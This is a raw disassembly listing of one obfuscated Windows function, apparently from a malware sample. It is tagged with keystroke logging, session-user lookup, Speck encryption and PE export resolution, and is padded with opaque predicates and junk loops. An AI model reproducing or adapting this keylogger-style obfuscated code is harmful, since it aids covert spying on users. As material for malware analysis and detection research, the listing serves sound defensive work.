Function at 0x100268fe
Capabilities:
Encrypt data using speck
Get session user name
Log keystrokes
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10065577
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x998
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x58], 0
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0x834], 0xfffffff9
mov dword [ebp - 0x854], 0
mov dword [ebp - 0x864], 0xd20a2e71
mov dword [ebp - 0x7bc], 0xda5659cd
mov dword [ebp - 0x2cc], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x84c], eax
cmp dword [ebp - 0x58], 0
jne 0x10026981
mov dword [ebp - 0x3fc], 1
jmp 0x10026988
and dword [ebp - 0x3fc], 0
cmp dword [ebp - 0x3fc], 0x15e8
jl 0x100269a0
mov dword [ebp - 0x508], 1
jmp 0x100269a7
and dword [ebp - 0x508], 0
cmp dword [ebp - 0x508], 0
jg 0x100269bc
mov dword [ebp - 0x510], 1
jmp 0x100269c3
and dword [ebp - 0x510], 0
imul eax, dword [ebp - 0x510], 0x1fbc
add eax, 0x7c2
imul eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x58]
je 0x100269e7
mov dword [ebp - 0x518], 1
jmp 0x100269ee
and dword [ebp - 0x518], 0
cmp dword [ebp - 0x518], 0x244d
jge 0x10026a06
mov dword [ebp - 0x520], 1
jmp 0x10026a0d
and dword [ebp - 0x520], 0
cmp dword [ebp - 0x520], 0xcae2
je 0x10026a25
mov dword [ebp - 0x528], 1
jmp 0x10026a2c
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x528]
sub eax, dword [ebp - 0xc0]
cmp eax, 0xdbc1
je 0x10026a4b
mov dword [ebp - 0x544], 1
jmp 0x10026a52
and dword [ebp - 0x544], 0
cmp dword [ebp - 0x544], 0xfffffff8
jl 0x10026a67
mov dword [ebp - 0x4b4], 1
jmp 0x10026a6e
and dword [ebp - 0x4b4], 0
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x4b4], eax
jl 0x10026a88
mov dword [ebp - 0x500], 1
jmp 0x10026a8f
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x58]
sub eax, dword [ebp - 0x500]
imul eax, eax, 0x7cba
neg eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x58], 0x72c02a30
cmp dword [ebp - 0x58], 0
je 0x10026acd
mov byte [ebp - 0xb0], 0
movzx eax, byte [ebp - 0xb0]
test eax, eax
je 0x10026ac8
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
jmp 0x10026b82
mov dword [ebp - 0x67c], 0xac89d73a
mov dword [ebp - 0x7c4], 2
mov dword [ebp - 0x874], 5
push 2
lea ecx, [ebp - 0x7e0]
call fcn.10001d4c
and dword [ebp - 4], 0
mov dword [ebp - 0x244], 0
jmp 0x10026b15
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 2
jge 0x10026b37
push dword [ebp - 0x244]
lea ecx, [ebp - 0x7e0]
call fcn.10001da4
mov dword [eax], 0xa2a67f6a
jmp 0x10026b08
mov dword [ebp - 0xc0], 0xfffffff8
jmp 0x10026b50
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0xffffffe7
je 0x10026b66
cmp dword [ebp - 0x67c], 0
je 0x10026b64
jmp 0x10026b66
jmp 0x10026b43
mov eax, dword [ebp - 0x2cc]
dec eax
mov dword [ebp - 0x2cc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7e0]
call fcn.10001d88
cmp dword [ebp + 0x10], 0
jbe 0x10026ee8
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10026ee8
mov dword [ebp - 0xec], 1
push 1
lea ecx, [ebp - 0x55c]
call fcn.10001d4c
mov dword [ebp - 4], 1
mov dword [ebp - 0x5c4], 0
mov dword [ebp - 0x578], 0x66b17b72
mov dword [ebp - 0x574], 0x66b17b72
mov dword [ebp - 0x570], 0x66b17b72
mov dword [ebp - 0x56c], 0x66b17b72
mov dword [ebp - 0x284], 0xb58331c5
push 3
lea ecx, [ebp - 0x6b4]
call fcn.10001d4c
mov byte [ebp - 4], 2
mov dword [ebp - 0x5cc], 7
mov dword [ebp - 0x58c], 0x183a
mov dword [ebp - 0x38], 0
jmp 0x10026c27
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x10026c40
push dword [ebp - 0x38]
lea ecx, [ebp - 0x55c]
call fcn.10001da4
or dword [eax], 0xffffffff
jmp 0x10026c20
mov dword [ebp - 0x38], 0
jmp 0x10026c50
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x10026c6c
push dword [ebp - 0x38]
lea ecx, [ebp - 0x6b4]
call fcn.10001da4
mov dword [eax], 0x11ec1fcc
jmp 0x10026c49
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x7cc], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x814], eax
push 0
lea ecx, [ebp - 0x55c]
call fcn.10001da4
cmp dword [eax], 0x76ec
jle 0x10026ca5
mov dword [ebp - 0x414], 1
jmp 0x10026cac
and dword [ebp - 0x414], 0
push 0
lea ecx, [ebp - 0x55c]
call fcn.10001da4
mov ecx, dword [ebp - 0x414]
mov dword [eax], ecx
mov eax, dword [ebp - 0x5c4]
add eax, 0x29acd409
cmp eax, dword [ebp - 0xec]
jl 0x10026ce0
mov dword [ebp - 0x2d4], 1
jmp 0x10026ce7
and dword [ebp - 0x2d4], 0
mov eax, dword [ebp - 0xec]
cmp eax, dword [ebp - 0x2d4]
jle 0x10026d07
cmp dword [ebp - 0xec], 0
jne 0x10026d07
and dword [ebp - 0x27c], 0
jmp 0x10026d11
mov dword [ebp - 0x27c], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x27c]
mov dword [ebp + eax - 0x578], ecx
mov eax, dword [ebp - 0x27c]
add eax, 5
mov dword [ebp - 0x284], eax
push 0
lea ecx, [ebp - 0x55c]
call fcn.10001da4
mov esi, dword [eax]
sub esi, 0x628eaf60
push 1
lea ecx, [ebp - 0x6b4]
call fcn.10001da4
cmp dword [eax], esi
je 0x10026d65
mov dword [ebp - 0x540], 1
jmp 0x10026d6c
and dword [ebp - 0x540], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x578], 0
je 0x10026d89
push 1
lea ecx, [ebp - 0x6b4]
call fcn.10001da4
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x578], 0x3ea3
jne 0x10026da8
mov dword [ebp - 0x2dc], 1
jmp 0x10026daf
and dword [ebp - 0x2dc], 0
mov eax, dword [ebp - 0x5cc]
add eax, dword [ebp - 0x540]
cmp eax, dword [ebp - 0x2dc]
jle 0x10026dcf
mov dword [ebp - 0x41c], 1
jmp 0x10026dd6
and dword [ebp - 0x41c], 0
imul eax, dword [ebp - 0x41c], 0xfff7
sub eax, 0xaebb
imul eax, eax, 0xffff
test eax, eax
jne 0x10026e0a
push 0
lea ecx, [ebp - 0x55c]
call fcn.10001da4
cmp dword [eax], 0
jne 0x10026e0a
and dword [ebp - 0x2e4], 0
jmp 0x10026e14
mov dword [ebp - 0x2e4], 1
mov esi, dword [ebp - 0x58c]
imul esi, dword [ebp - 0x2e4]
push 0
lea ecx, [ebp - 0x55c]
call fcn.10001da4
cmp esi, dword [eax]
jl 0x10026e3e
mov dword [ebp - 0x4bc], 1
jmp 0x10026e45
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x284], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x284]
cmp ecx, dword [ebp + eax - 0x578]
jg 0x10026e72
mov dword [ebp - 0x2ec], 1
jmp 0x10026e79
and dword [ebp - 0x2ec], 0
push 0
lea ecx, [ebp - 0x6b4]
call fcn.10001da4
mov ecx, dword [ebp - 0x2ec]
cmp ecx, dword [eax]
jle 0x10026e9c
mov dword [ebp - 0x424], 1
jmp 0x10026ea3
and dword [ebp - 0x424], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x424]
mov dword [ebp + eax - 0x578], ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x6b4]
call fcn.10001d88
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x55c]
call fcn.10001d88
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1002139c
pop ecx
pop ecx
jmp 0x1002b293
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x314], 0
mov dword [ebp - 0x194], 4
mov dword [ebp - 0x2f4], 0x3a2
mov dword [ebp - 0x68c], str.wdwsdvuj_humjhk_eijtix
cmp dword [ebp - 0x2f4], 0x459
jle 0x10027006
and dword [ebp - 0x24c], 0
jmp 0x10026f47
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x37df
jge 0x10027006
and dword [ebp - 0x254], 0
jmp 0x10026f6d
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x52e4
jge 0x10027001
and dword [ebp - 0x25c], 0
jmp 0x10026f93
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x7cca
jge 0x10026ffc
mov eax, dword [ebp - 0x24c]
xor eax, dword [ebp - 0x254]
xor eax, dword [ebp - 0x25c]
cdq
mov dword [ebp - 0x5d8], eax
mov dword [ebp - 0x5d4], edx
push dword [ebp - 0x5d4]
push dword [ebp - 0x5d8]
lea ecx, [ebp - 0x960]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0x684], eax
mov ecx, dword [ebp - 0x684]
call fcn.10001c08
push eax
call fcn.1004c39e
pop ecx
lea ecx, [ebp - 0x960]
call fcn.10001bea
jmp 0x10026f86
jmp 0x10026f60
jmp 0x10026f3a
mov dword [ebp - 0x28c], 1
mov dword [ebp - 4], 3
cmp dword [ebp - 0x2f4], 0x52
jge 0x1002702c
push dword [ebp - 0x68c]
call fcn.1004c39e
pop ecx
jmp 0x10027048
or dword [ebp - 4], 0xffffffff
jmp 0x10027052
push 1
lea ecx, [ebp - 0x79c]
call fcn.10001d4c
mov dword [ebp - 4], 5
mov dword [ebp - 0x1e8], 0
jmp 0x1002707f
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 1
jge 0x100270a1
push dword [ebp - 0x1e8]
lea ecx, [ebp - 0x79c]
call fcn.10001da4
mov dword [eax], 0x97b2c3cc
jmp 0x10027072
mov dword [ebp - 0x2c], 0
jmp 0x100270b1
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jg 0x1002726b
mov dword [ebp - 0x78], 0x545e
mov dword [ebp - 0x18c], 0
jmp 0x100270db
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 3
jge 0x100270f7
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0x7f0], 0xffffffff
jmp 0x100270ce
mov eax, dword [ebp - 0x78]
add eax, 0xc248
imul eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x148]
jge 0x10027117
mov dword [ebp - 0x694], 1
jmp 0x1002711e
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x7d4], eax
cmp dword [ebp - 0x2c], 0
je 0x1002713f
cmp dword [ebp - 0x78], 0
je 0x1002713f
mov dword [ebp - 0x50c], 1
jmp 0x10027146
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x50c]
cmp eax, dword [ebp - 0x2c]
jl 0x10027160
mov dword [ebp - 0x2fc], 1
jmp 0x10027167
and dword [ebp - 0x2fc], 0
imul eax, dword [ebp - 0x2fc], 0xffffffff
mov ecx, dword [ebp - 0x78]
add ecx, eax
imul eax, ecx, 0xfff6
cmp eax, 0x6c4f32b7
jl 0x1002718c
mov dword [ebp - 0x42c], 1
jmp 0x10027193
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x78]
imul eax, dword [ebp - 0x42c]
cmp eax, dword [ebp - 0x78]
jle 0x100271ae
mov dword [ebp - 0x304], 1
jmp 0x100271b5
and dword [ebp - 0x304], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x304]
sub ecx, dword [ebp + eax - 0x7f0]
cmp ecx, dword [ebp - 0x2c]
jge 0x100271d8
mov dword [ebp - 0x4c4], 1
jmp 0x100271df
and dword [ebp - 0x4c4], 0
cmp dword [ebp - 0x4c4], 0xf992
jle 0x10027200
mov eax, 0x56fd
test eax, eax
je 0x10027200
mov dword [ebp - 0x30c], 1
jmp 0x10027207
and dword [ebp - 0x30c], 0
cmp dword [ebp - 0x30c], 0xb999fb0
jge 0x1002721f
mov dword [ebp - 0x434], 1
jmp 0x10027226
and dword [ebp - 0x434], 0
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x314], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x314]
cmp ecx, dword [ebp + eax - 0x7f0]
jle 0x10027253
mov dword [ebp - 0x53c], 1
jmp 0x1002725a
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x53c]
mov dword [ebp - 0x194], eax
jmp 0x100270aa
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x818], eax
mov eax, dword [ebp - 0x148]
cmp eax, dword [ebp - 0x194]
jne 0x1002728e
mov dword [ebp - 0x31c], 1
jmp 0x10027295
and dword [ebp - 0x31c], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28c], eax
mov eax, dword [ebp - 0x28c]
neg eax
cmp eax, dword [ebp - 0x31c]
jg 0x100272c9
cmp dword [ebp - 0x28c], 0
je 0x100272c9
mov dword [ebp - 0x43c], 1
jmp 0x100272d0
and dword [ebp - 0x43c], 0
cmp dword [ebp - 0x43c], 0xb93b3bbb
jbe 0x100272e8
mov dword [ebp - 0x324], 1
jmp 0x100272ef
and dword [ebp - 0x324], 0
cmp dword [ebp - 0x324], 0x31eaa473
je 0x10027307
mov dword [ebp - 0x4cc], 1
jmp 0x1002730e
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0x148]
imul eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x148]
jl 0x1002732f
mov dword [ebp - 0x32c], 1
jmp 0x10027336
and dword [ebp - 0x32c], 0
cmp dword [ebp - 0x32c], 0xfffffffe
jle 0x1002734b
mov dword [ebp - 0x444], 1
jmp 0x10027352
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0xfffb
jne 0x10027376
mov dword [ebp - 0x334], 1
jmp 0x1002737d
and dword [ebp - 0x334], 0
imul esi, dword [ebp - 0x334], 0
push 0
lea ecx, [ebp - 0x79c]
call fcn.10001da4
mov dword [eax], esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x79c]
call fcn.10001d88
mov dword [ebp - 0x69c], 0xffffffff
mov dword [ebp - 0x700], 0
mov dword [ebp - 0x760], 0xfffffffa
mov dword [ebp - 0x75c], 0xfffffffa
mov dword [ebp - 0x758], 0xfffffffa
mov dword [ebp - 0x754], 0xfffffffa
lea ecx, [ebp - 0x25d]
call fcn.100023bd
push eax
lea eax, [ebp - 0x750]
push eax
lea eax, [ebp - 0x760]
push eax
lea ecx, [ebp - 0x8d8]
call fcn.1000d200
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x800]
call fcn.1000d1da
mov dword [ebp - 4], 6
mov dword [ebp - 0x7e4], 0x31af
mov dword [ebp - 0x150], 0
jmp 0x1002743d
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 2
jge 0x10027459
mov eax, dword [ebp - 0x150]
mov dword [ebp + eax*4 - 0x100], 0xe0648261
jmp 0x10027430
mov dword [ebp - 0x36c], 0x5b35
mov dword [ebp - 0x714], str.qcjzmg_mgo_awwwkko_hvfpbptq_njah_ahhar
cmp dword [ebp - 0x36c], 0x5cf5
jle 0x10027525
and dword [ebp - 0x19c], 0
jmp 0x10027493
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x499e
jge 0x10027525
and dword [ebp - 0x158], 0
jmp 0x100274b9
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x61ad
jge 0x10027520
and dword [ebp - 0x1a4], 0
jmp 0x100274db
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x3e3f
jge 0x1002751e
mov eax, dword [ebp - 0x19c]
sub eax, dword [ebp - 0x158]
sub eax, dword [ebp - 0x1a4]
cdq
mov dword [ebp - 0x5e4], eax
mov dword [ebp - 0x5e0], edx
push dword [ebp - 0x5e0]
push dword [ebp - 0x5e4]
mov ecx, 0x10081de8
call fcn.1000d012
jmp 0x100274ce
jmp 0x100274ac
jmp 0x10027486
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x100], 0
jmp 0x10027553
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x100], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x100], 3
jle 0x100277d7
mov dword [ebp - 0xf4], 8
mov dword [ebp - 0xe8], 0x6b8d9637
mov dword [ebp - 0x738], 0xffffffff
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xf4]
cmp ecx, dword [ebp + eax - 0x100]
jle 0x100275a6
mov dword [ebp - 0x514], 1
jmp 0x100275ad
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x514], eax
jl 0x100275c7
mov dword [ebp - 0x33c], 1
jmp 0x100275ce
and dword [ebp - 0x33c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
cmp dword [ebp - 0x33c], eax
jge 0x100275ef
mov dword [ebp - 0x44c], 1
jmp 0x100275f6
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0xf4]
neg eax
cmp eax, dword [ebp - 0x44c]
jg 0x10027612
mov dword [ebp - 0x344], 1
jmp 0x10027619
and dword [ebp - 0x344], 0
cmp dword [ebp - 0x344], 0x5f40e13f
jg 0x10027631
mov dword [ebp - 0x4d4], 1
jmp 0x10027638
and dword [ebp - 0x4d4], 0
cmp dword [ebp - 0x4d4], 0
jb 0x1002764d
mov dword [ebp - 0x34c], 1
jmp 0x10027654
and dword [ebp - 0x34c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x34c]
sub ecx, dword [ebp + eax - 0x100]
cmp ecx, 0xf4f9a023
jbe 0x10027684
cmp dword [ebp - 0x69c], 0
je 0x10027684
mov dword [ebp - 0x454], 1
jmp 0x1002768b
and dword [ebp - 0x454], 0
cmp dword [ebp - 0x454], 5
jne 0x100276a0
mov dword [ebp - 0x354], 1
jmp 0x100276a7
and dword [ebp - 0x354], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe8]
neg eax
cmp eax, dword [ebp - 0x354]
jge 0x100276d6
mov dword [ebp - 0x548], 1
jmp 0x100276dd
and dword [ebp - 0x548], 0
cmp dword [ebp - 0x548], 0xfffffffb
je 0x100276f2
mov dword [ebp - 0x35c], 1
jmp 0x100276f9
and dword [ebp - 0x35c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x100]
cmp dword [ebp - 0x35c], eax
jle 0x1002771a
mov dword [ebp - 0x45c], 1
jmp 0x10027721
and dword [ebp - 0x45c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
cmp dword [ebp - 0x45c], eax
jne 0x10027742
mov dword [ebp - 0x364], 1
jmp 0x10027749
and dword [ebp - 0x364], 0
cmp dword [ebp - 0x364], 4
jbe 0x1002775e
mov dword [ebp - 0x6a4], 1
jmp 0x10027765
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0x738]
jge 0x1002777f
mov dword [ebp - 0x740], 1
jmp 0x10027786
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0xe8]
cmp eax, dword [ebp - 0xf4]
je 0x100277a0
mov dword [ebp - 0x4dc], 1
jmp 0x100277a7
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x4dc]
mov dword [ebp - 0x700], eax
mov esi, dword [ebp - 0xe8]
push 2
lea ecx, [ebp - 0x800]
call fcn.10001da4
mov dword [eax], esi
mov dword [ebp - 0xe8], 0
jmp 0x10027538
mov byte [ebp - 4], 7
cmp dword [ebp - 0x36c], 0x5aa5
jge 0x100277f7
mov edx, dword [ebp - 0x714]
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x10027813
mov dword [ebp - 4], 6
jmp 0x10027823
mov byte [ebp - 0x99], 0
movzx eax, byte [ebp - 0x99]
test eax, eax
je 0x10027862
push 0x1d01
push 0x2105
push 0xaa1
push 0x860
push 0x1cb1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x800]
call fcn.10001d88
cmp dword [ebp + 0x10], 0
jne 0x1002a2b1
mov dword [ebp - 0x464], 0x2d33
mov dword [ebp - 0x5bc], str.qswtnts_rmis_imyrwunak_dai_yotds_ydwbnq_ixgy
cmp dword [ebp - 0x464], 0x2e81
jle 0x10027982
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
and dword [ebp - 0x1b4], 0
jmp 0x100278bd
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x275f
jge 0x10027982
and dword [ebp - 0x160], 0
jmp 0x100278e3
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x19f5
jge 0x1002797d
and dword [ebp - 0x1ac], 0
jmp 0x10027909
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x4645
jge 0x10027978
and dword [ebp - 0x168], 0
jmp 0x1002792b
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x630b
jge 0x10027976
mov eax, dword [ebp - 0x160]
imul eax, dword [ebp - 0x1ac]
imul eax, dword [ebp - 0x168]
or eax, dword [ebp - 0x1b4]
cdq
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], edx
push dword [ebp - 0x5ec]
push dword [ebp - 0x5f0]
mov ecx, 0x10081de8
call fcn.1000d012
jmp 0x1002791e
jmp 0x100278fc
jmp 0x100278d6
jmp 0x100278b0
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.10016de8
mov dword [ebp - 0x21c], eax
mov dword [ebp - 4], 9
cmp dword [ebp - 0x464], 0x2d16
jge 0x100279b6
mov edx, dword [ebp - 0x5bc]
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x100279d2
or dword [ebp - 4], 0xffffffff
jmp 0x100279dc
mov dword [ebp - 0x90], 0xe83c773
mov dword [ebp - 0x2b0], 0x6a715cc4
mov dword [ebp - 0x270], 0xf746e33a
mov dword [ebp - 0x294], 0xfffffffb
mov dword [ebp - 0x268], 0x348
push 3
lea ecx, [ebp - 0x6c4]
call fcn.10001d4c
mov dword [ebp - 4], 0xb
push 3
lea ecx, [ebp - 0x784]
call fcn.10001d4c
mov byte [ebp - 4], 0xc
push 3
lea ecx, [ebp - 0x810]
call fcn.10001d4c
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x14], 0
jmp 0x10027a54
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10027a6a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8d0], 0xffffffff
jmp 0x10027a4d
mov dword [ebp - 0x374], 0x70c0
mov dword [ebp - 0x598], str.cvwotcaci_jbkbehnn_vdv_jrbksl_dqgx_pdqmwuqo
cmp dword [ebp - 0x374], 0x71f8
jle 0x10027b81
and dword [ebp - 0x240], 0
jmp 0x10027aa4
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x6147
jge 0x10027b6a
and dword [ebp - 0x13c], 0
jmp 0x10027aca
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x619a
jge 0x10027b65
and dword [ebp - 0x1bc], 0
jmp 0x10027af0
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x38ea
jge 0x10027b60
and dword [ebp - 0x178], 0
jmp 0x10027b12
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x7150
jge 0x10027b5e
mov eax, dword [ebp - 0x13c]
cdq
idiv dword [ebp - 0x1bc]
sub edx, dword [ebp - 0x178]
or edx, dword [ebp - 0x240]
mov eax, edx
cdq
mov dword [ebp - 0x5fc], eax
mov dword [ebp - 0x5f8], edx
push dword [ebp - 0x5f8]
push dword [ebp - 0x5fc]
mov ecx, 0x10081de8
call fcn.1000d012
jmp 0x10027b05
jmp 0x10027ae3
jmp 0x10027abd
jmp 0x10027a97
push 0xf69
push 0xdf4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov dword [ebp - 0x14], 0
jmp 0x10027b91
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10027bad
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6c4]
call fcn.10001da4
mov dword [eax], 0xfffffffb
jmp 0x10027b8a
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x374], 0x6fe9
jge 0x10027bcd
mov edx, dword [ebp - 0x598]
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x10027be9
mov dword [ebp - 4], 0xd
jmp 0x10027bf9
mov dword [ebp - 0x14], 0
jmp 0x10027c09
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10027c1f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8a0], 1
jmp 0x10027c02
mov dword [ebp - 0x14], 0
jmp 0x10027c2f
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10027c4b
push dword [ebp - 0x14]
lea ecx, [ebp - 0x784]
call fcn.10001da4
mov dword [eax], 0xe734e2e0
jmp 0x10027c28
mov dword [ebp - 0x14], 0
jmp 0x10027c5b
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10027c77
push dword [ebp - 0x14]
lea ecx, [ebp - 0x810]
call fcn.10001da4
mov dword [eax], 0x369d
jmp 0x10027c54
mov dword [ebp - 0x90], 0
jmp 0x10027c90
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 2
jg 0x10027ce8
mov dword [ebp - 0x7ac], 0x52d8cb4c
mov dword [ebp - 0x7a8], 0x52d8cb4c
mov dword [ebp - 0x7a4], 0x52d8cb4c
mov dword [ebp - 0x7a0], 0x52d8cb4c
mov dword [ebp - 0x680], 0xd416db6
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x7ac], 4
mov dword [ebp - 0x680], 4
jmp 0x10027c83
mov dword [ebp - 0x294], 0x7153
cmp dword [ebp - 0x294], 0
jne 0x10027d61
cmp dword [ebp - 0x2b0], 0
je 0x10027d19
mov eax, 0xfffd
test eax, eax
je 0x10027d19
mov dword [ebp - 0x51c], 1
jmp 0x10027d20
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x294]
cmp dword [ebp - 0x51c], eax
je 0x10027d3a
mov dword [ebp - 0x37c], 1
jmp 0x10027d41
and dword [ebp - 0x37c], 0
push 1
lea ecx, [ebp - 0x6c4]
call fcn.10001da4
mov ecx, dword [ebp - 0x37c]
cmp ecx, dword [eax]
jne 0x10027d61
and dword [ebp - 0x2ac], 0
jmp 0x10027d6b
mov dword [ebp - 0x2ac], 1
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x2ac]
mov dword [ebp + eax - 0x8a0], ecx
cmp dword [ebp - 0x2ac], 0
jne 0x10027d98
cmp dword [ebp - 0x90], 0
jne 0x10027d98
